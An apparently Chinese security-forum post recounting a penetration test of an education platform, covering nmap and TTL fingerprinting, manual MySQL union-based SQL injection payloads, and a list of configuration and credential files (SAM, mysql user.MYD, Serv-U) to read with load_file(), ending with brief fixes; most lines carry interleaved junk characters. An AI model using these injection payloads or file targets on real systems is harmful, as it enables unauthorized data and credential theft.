找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2336|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
题记:
8 W: l( Y3 y! s一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
4 L, i' ^; i3 c8 ^第一步:获取需要的信息6 U. X8 M; ?# K9 Z
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。3 R  m8 v( w# {9 _, u0 ]( H  l
注:以下为保护特用XXX代替敏感信息
& `9 j9 |3 ^) I% q6 x! o) U顺手先PING了一下他们的域名:3 h2 f1 \! V$ F4 y) p6 A& C
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)3 @5 p6 s; p$ Z( \8 n  O9 m
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms* E/ s+ W# T% V1 I% e, v% ^
顺便了解一下TTL,学好基础知识才能一路顺风:' g# l; r2 b- x. v/ u9 @5 f- v" }
TTL:(Time To Live ) 生存时间
' I3 X0 A& F  i4 k& M8 D: d指定数据包被路由器丢弃之前允许通过的网段数量。/ W# T5 {4 ]/ @3 z$ h
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
- l" C8 W; I' d, n1 e! u0 r, @使用PING时涉及到的 ICMP 报文类型1 j- f: X% p) B9 \" r
一个为ICMP请求回显(ICMP Echo Request)
" w6 c, h9 o( {+ _一个为ICMP回显应答(ICMP Echo Reply)
. f+ ?$ Y* S1 x5 n$ B' @  oTTL 字段值可以帮助我们识别操作系统类型。# O  n# z% f+ ~/ F* L3 p5 R
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255. ~; t+ @/ {. R6 u, d0 a9 h! u8 h( P+ m
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
$ R7 k+ M9 [- K微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1285 J# [6 Q3 e! o
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
! V$ {- S+ S# B' B8 O" F( x当然,返回的TTL值是相同的# \, ?0 {. q; l) r0 v: x6 S) q
但有些情况下有所特殊
' }! o$ P# T3 @9 A$ e' a) a1 \% oLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
5 n$ {! g! S" b7 cFreeBSD 4.1, 4.0, 3.4;
( ^5 w# E. O7 O4 f  r$ CSun Solaris 2.5.1, 2.6, 2.7, 2.8;
6 v7 M0 e& l) ~; f  ROpenBSD 2.6, 2.7,
- ~& a4 D8 J6 ~/ e. P& `* c. S; kNetBSD1 e- C) y) J) t, o" E
HP UX 10.20* s! O3 ]) f% Q$ T
ICMP 回显应答的 TTL 字段值为 255
+ H& L; K) j& |9 h7 e8 hWindows 95/98/98SE
* I9 z* c2 e* p. ZWindows ME( s( B+ Q6 t  ]# n$ o! f1 n6 M3 p
ICMP 回显应答的 TTL 字段值为 32
5 d  [; T# [# s3 P; J: M$ B% ~Windows NT4 WRKS
3 n8 J) i' m. [3 m& d$ {Windows NT4 Server
5 d4 l* r1 d: ]# p9 `: Q, b7 qWindows 20008 o/ i; j' z7 T* m$ E. z: ~
Windows XP
0 ^- [* u6 {6 F9 sICMP 回显应答的 TTL 字段值为 1282 ^# `  \# e3 s# Y
这样,我们就可以通过这种方法来辨别操作系统  h7 M8 C8 F, t. |, J
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
2 F4 ~, s1 i' Z- B# L4 Z用NMAP扫描一下:
5 w! r$ R0 {7 @% L4 F6 ^3 knmap -sT -O XXX.XXX.XXX.XXX
7 l: b6 z+ k3 j$ H- u  H如果没有装WinPcap则会弹出提示:
' a; [& M9 U- E+ V0 _% PWARNING: Could not import all necessary WinPcap functions.  You may need to upgr
# p* q: |; u& G" j; Q# D: Eade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect() j; E; E4 B, E0 d7 L5 \* @
) mode — Nmap may not function completely! a0 z0 `5 C# ?# _/ [- s
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher/ Y- v+ w3 z2 j" p- h
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
! D( F( W/ z- J2 upcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
+ y% _+ U+ ~, D& H- Ad later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
5 y( b7 Z9 d% q) w8 {- h& Cersions, you may be able to take iphlpapi.dll from another system and place it i3 H2 P4 D  K' B/ t
n your system32 dir (e.g. c:\windows\system32).
2 a% P5 q/ ~) F$ Q/ u. @; V  ~QUITTING!# n8 u! U( L# W. ]# c0 Q
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
: G+ G$ v% w4 _2 H/ P- g3 ^" d安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:& _( T6 k- v% ~" _0 P% s7 A0 ~
Interesting ports on XXX.XXX.XXX.XXX:$ w- `! U  z% g) W- b' T3 w
Not shown: 986 closed ports
% D$ E: g" Y9 o/ y/ u1 |" E  K  hPORT     STATE    SERVICE
3 K' }, u% Q+ P' g: w6 f# O21/tcp   open     ftp
1 c2 }% g3 Y* Y5 O22/tcp   open     ssh
* w! {- @4 ]/ n2 c, w& K8 T& R) T  w23/tcp   open     telnet; e* Y( g5 J1 l
80/tcp   open     http
$ G( O* h  w! w% r  F9 `111/tcp  open     rpcbind5 q& o( J1 `! f" B: R9 w% R% V
135/tcp  filtered msrpc- ^- q. |+ C, p$ }2 [) \2 B
139/tcp  filtered netbios-ssn7 j  t) k  `" @4 T, y+ w5 q
445/tcp  filtered microsoft-ds
4 a( R- R- b% Y1 f( \513/tcp  open     login
# O! b6 c+ t( M514/tcp  open     shell. N  G% f( S  G7 m+ v
593/tcp  filtered http-rpc-epmap. s2 q8 G" ~* |6 n9 r3 |$ j& l
1720/tcp filtered H.323/Q.931
5 g  g' r0 ^* h. U4 K, r3306/tcp open     mysql
7 n, g+ v5 L7 c, Y: y. }$ G/ \4444/tcp filtered krb5242 w" F  I/ N( u2 h! H) e
Device type: WAP
9 d4 X& h4 G% C0 {( ~+ e0 jRunning: Linux 2.4.X
, j1 o& z; m' f$ l# N  ]6 hOS details: DD-WRT (Linux 2.4.35s)" e' x1 J* J; {# ~6 W
Network Distance: 13 hops/ |' e7 ?, p; N5 s; b
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
/ ]$ ~- A1 g$ g7 s0 U* z1 Elogin as:* l( o6 Q1 l/ T+ w
Telnet23端口也是开着的,用telnet 命令链接一下:6 e1 ^: R6 v' w
telnet XXX.XXX.XXX.XXX
0 Z0 o: U7 e, N+ I2 c- e6 O提示:8 V- Z9 {1 O/ _7 O$ l
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
: \0 v9 g. \( D, pKernel 2.6.18-92.el5PAE on an i686  \& f$ C/ [- h. U% c
login:, c$ ?) k. Y% `4 C. b
获取HTTP头信息:( j0 F4 c/ Y7 j, \# p+ P5 E
在本地执行如下PHP代码
# D$ T3 M- o4 _6 Y. W  \4 ^, M<?php% b1 G+ K+ H8 Q4 I* M7 T
$url = ‘XXX.XXX.XXX.XXX’;- m1 O! r& s9 _3 J1 B  S0 i
print_r(get_headers($url));
+ J; o, a- v  m, S% F7 Z' _( ^print_r(get_headers($url, 1));
! |. p2 ?# ~; ^) ~?>9 t+ d3 L5 ~2 U# ~) C  x. u; ?
将以上代码保存为PHP文件,执行:
3 d: O7 Z' t* ]- @Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes ), `8 K0 X: t/ Z9 S5 E+ g
现在可以得出结论:
# P- t2 \7 V8 m8 B$ D) q- O1 k系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga); y# o. m4 j# {; |0 w# c) y
内核版本:Kernel 2.6.18-92.el5PAE on an i686* G1 V5 j& L9 v, L' X, x* }
WEB服务器版本:nginx/0.7.613 Q" I( {- j$ B; X+ w4 W5 x" r
第二步,开始测试寻找漏洞
; d9 ?! `" f) D' ~分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
: {+ w) ~% R7 }1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的& m" q: T& a$ m$ b, p2 s/ i( Y
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试) \$ l6 `6 ]" U( I( m/ r! J0 Z
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
& Z/ X+ G' M- _http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误# p/ v6 D: N7 l9 E
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
  _( L! b; r1 _& t& P+ A. R: \4 i" ~3、手工注入:7 ^$ @- K! k& v3 l2 i" D$ c5 M
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
; i' D: L: C5 g1 M* C3.1 猜测当前表字段数/ i$ i" B! _" Y
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
7 _4 l) W2 u$ ]! |! ^3 g' J) T此处猜测有个简单的算法,都是有技巧的吗,呵呵: ~: B+ n* w4 k8 A7 K
算法简单如下:
7 D) \8 p0 r6 s" y第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;3 x  s# E" s9 p4 R7 M1 c- i
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
  V  O' r, D% K需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。/ }' Q& E7 Q8 z1 U
以此来判断,是否过界,配合取中算法猜出字段数。
0 i/ P8 y% c, H6 `! ?举例:
, ^/ N" b/ i& ?; Lhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
  Q7 D4 d& J0 y: D7 m3 |* c6 [http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
, g$ H& Y3 ~* I2 ]& |  D: |此时3则为我们要找的字段数。
) {7 K8 e' f6 K3.2 配合union联合查询字段在页面所位置
8 h  {9 V8 J& o% z" z' Y我们已经知道了字段数为3,此时则可以做如下操作:5 T/ G4 H* K. y# [; Z
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,34 v5 I! U% J! M0 _5 C/ B7 \

7 k- Z; D" ~8 a. s4 e这样就可以测试到哪些字段在页面上有所显示了,如图:
6 X9 ^: W% e( W/ l# ?& Q4 B, R5 V( m- F) a4 V2 i& R
3.3 查敏感信息/ |& V4 t7 K% q$ y3 z% n
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。# }  u2 U; h4 i6 N
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
. v* |+ f, `: M6 q3.3.1 先查数据库用户、数据库名,以备后用,如图:
0 y5 k% R! a5 U9 ~9 C- e8 w8 W% R0 M4 }5 n5 f
得到数据库用户为root、数据库名为DBxx;; a( x  f& K. z
3.3.2 查配置文件( n7 X$ r5 ]; S* l
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
: L" v( w2 {  c  y  z查看文件有一定的条件限制:6 {2 D  {# r: ^1 c
欲读取文件必须在服务器上
3 q+ k) C# S& t  d" x5 e必须指定文件完整的路径2 ]0 }$ B* |+ B
必须有权限读取并且文件必须完全可读! K: A9 D$ d- v* {# h* Z6 `; W" d
欲读取文件必须小于 max_allowed_packet
/ H6 ~5 Q0 {: E3 d0 cMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
! s) P, y. K! R8 a5 W% N常用的一些:
( j' q* w# V+ ?0 C# y3 B  |/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件% u! Y; v& S2 A+ G
/usr/local/apache2/conf/httpd.conf
0 e  R6 y( ?9 M* \  z/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置" _+ F3 E7 t/ Z; e. _9 y2 j
/usr/local/app/php5/lib/php.ini //PHP相关设置0 W: m3 x& x% z0 R5 t/ ~9 U! Z
/etc/sysconfig/iptables //从中得到防火墙规则策略
" A) x8 y9 X5 S$ j/etc/httpd/conf/httpd.conf // apache配置文件
" N. y& a1 W& i& O4 p/etc/rsyncd.conf //同步程序配置文件
- b0 W" ^3 d1 `! h$ r0 _0 E/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
# K; D0 x5 e$ q' \2 c! R1 d$ f/etc/my.cnf //mysql的配置文件
1 Z2 ~& ^4 M) d+ w/etc/redhat-release //系统版本0 E4 d; {1 V; n* a* h8 h( j, E; S
/etc/issue
8 j- Z( n1 S7 ~0 ^+ A3 }/etc/issue.net
9 R7 E+ K! ^- \" |! [& vc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码* ^& S) A. [" H4 L
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码3 g/ r" h- s0 N6 _7 Q
c:\Program Files\Serv-U\ServUDaemon.ini
6 Y5 d, a% Q" Z: \7 M$ D* Mc:\windows\my.ini //MYSQL配置文件, C' Z* e" ~5 S" p
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件6 Z% k, j0 `* W$ c; E
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,/ ]! t0 [( A" X! @6 Q
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
) r+ L  h$ `/ w- W+ j( ac:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
3 L* U) ~4 E2 rc:\Program Files\RhinoSoft.com\ServUDaemon.exe- L" N: D) [$ M, e
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件* ?. F' k% w0 d* F( f! i4 _( c
//存储了pcAnywhere的登陆密码
4 [) A& C; D, G4 d+ d由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
0 \' b: P6 c9 a' ]这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。9 Y! ~" I  D" m& ^$ t. j
最后:防范措施! B+ z* o4 ?, b# T
1、修复PHP注入漏洞;
6 j/ [4 \5 W5 J% n0 j2 \2、Mysql使用普通权限的用户;
; B2 b) ]% a1 f$ {3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表